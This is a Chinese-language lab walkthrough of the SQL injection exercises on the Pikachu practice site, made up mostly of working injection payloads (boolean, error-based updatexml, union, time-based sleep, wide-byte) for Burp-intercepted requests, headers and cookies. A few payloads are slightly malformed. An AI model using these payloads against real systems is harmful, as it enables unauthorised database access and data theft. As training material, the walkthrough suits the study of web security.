数字型注入(POST)
因为是数字性不需要加字符测试
把BurpSuite 中拦截的包发到 Repeater 中,修改id参数的值,查看响应结果。可以看到取出了数据库中全部数据,说明存在数字型注入漏洞。
字符型注入(GET)
输入“kobe”,可以得到下面的输出
需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload如下
输入kobe‘ or 1=1#进行测试 可得结果
搜索型注入
构造对应的闭合,闭合前面的 单引号 和 百分号,注释后面的百分号和单引号。构造的payload如下
xxxx%' or 1=1#
XX型注入
使用payload xx')or 1=1# 可得
insert/update注入
1.insert注入
使用updataxml 函数
注入payload
1' or updatexml(1,concat(0x7e,database()),0) or'
得到皮卡丘的数据库名字是 pikachu
2 update注入
先登录进去,在修改资料处抓包
Payload和insert注入相同:
1' or updatexml(1,concat(0x7e,database()),0) or'
同样能得到皮卡丘的数据库名字是 pikachu
delete注入
先进行留言 在删除的时候抓包
由于是get的类型的 在payload记得进行url编码
payload 与之前一样
得到皮卡丘的数据库名字是 pikachu
http header注入
先进行登录 然后开始抓包
在ua头进行注入 payload相同
得到皮卡丘的数据库名字是 pikachu
COOKIE
cookie中的admin也是一个注入点
还有 cookie 也是可以注入的,后端可能会取得我们的 cookie,后端通过拼接 SQL 语句进行验证
在 cookie 的用户名后面加上一个单引号并发送
报错 有注入点
构造相同payload 同样得到数据库
得到皮卡丘的数据库名字是 pikachu
盲注 (base on boolian)
只有加and 1=1#
才能返回个人信息,or 1=1#
报错
用函数来构造payload
kobe' and ascii(substr(database(),1,1))=112#
kobe' and ascii(substr(database(),1,1)>110#
kobe' and ascii(substr(database(),1,1)<113#
112通过多次比较才能试出来
然后获取表名
test payload:
kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
然后获取字段名
kobe' union select table_name,column_name from information_schema.columns where table_name='users'#
盲注(base on time)
payload:
kobe’ and sleep(5)#
看到时间线是5s,说明存在基于时间的盲注
使用payload
kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
1ms就返回结果 说明不是 "a" 改为”p”不返回 一直到确定数据库的全称。
宽字节注入
在后台单引号会被转义 改使用payload
kobe%df' or 1=1#